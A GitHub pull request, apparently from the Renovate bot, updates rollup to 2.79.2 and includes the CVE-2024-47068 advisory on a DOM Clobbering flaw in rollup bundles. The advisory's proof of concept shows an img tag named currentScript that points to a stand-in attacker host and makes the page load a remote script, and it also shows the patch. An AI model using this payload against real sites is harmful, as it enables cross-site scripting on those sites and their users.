Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update dependency rollup to v2.79.2 [security] #1275

Open
wants to merge 1 commit into
base: next
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Sep 25, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) 2.79.1 -> 2.79.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

v2.79.2

Compare Source


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

codesandbox-ci bot commented Sep 25, 2024

This pull request is automatically built and testable in CodeSandbox.

To see build info of the built libraries, click here or the icon next to each commit SHA.

Latest deployment of this branch, based on commit a085ada:

Sandbox Source
@algolia/autocomplete-example-github-repositories-custom-plugin Configuration
@algolia/autocomplete-example-instantsearch Configuration
@algolia/autocomplete-example-playground Configuration
@algolia/autocomplete-example-preview-panel-in-modal Configuration
@algolia/autocomplete-example-starter-algolia Configuration
@algolia/autocomplete-example-starter Configuration
@algolia/autocomplete-example-reshape Configuration
@algolia/autocomplete-example-vue Configuration

@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] chore(deps): update dependency rollup to v3 [security] - autoclosed Sep 26, 2024
@renovate renovate bot closed this Sep 26, 2024
@renovate renovate bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 21:46
@renovate renovate bot restored the renovate/npm-rollup-vulnerability branch September 27, 2024 19:32
@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] - autoclosed chore(deps): update dependency rollup to v3 [security] Sep 27, 2024
@renovate renovate bot reopened this Sep 27, 2024
@renovate renovate bot enabled auto-merge (rebase) September 27, 2024 19:33
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from de1b9f7 to e24a9b4 Compare September 27, 2024 19:33
@renovate renovate bot changed the title chore(deps): update dependency rollup to v3 [security] chore(deps): update dependency rollup to v2.79.2 [security] Sep 27, 2024
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 4 times, most recently from 0172643 to e8ad2a8 Compare October 16, 2024 08:33
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from f030e4b to 221ac8f Compare November 5, 2024 15:00
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 221ac8f to f3a099e Compare November 15, 2024 05:22
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from f3a099e to 3c04f70 Compare December 9, 2024 09:27
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 3c04f70 to a085ada Compare December 9, 2024 09:39
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants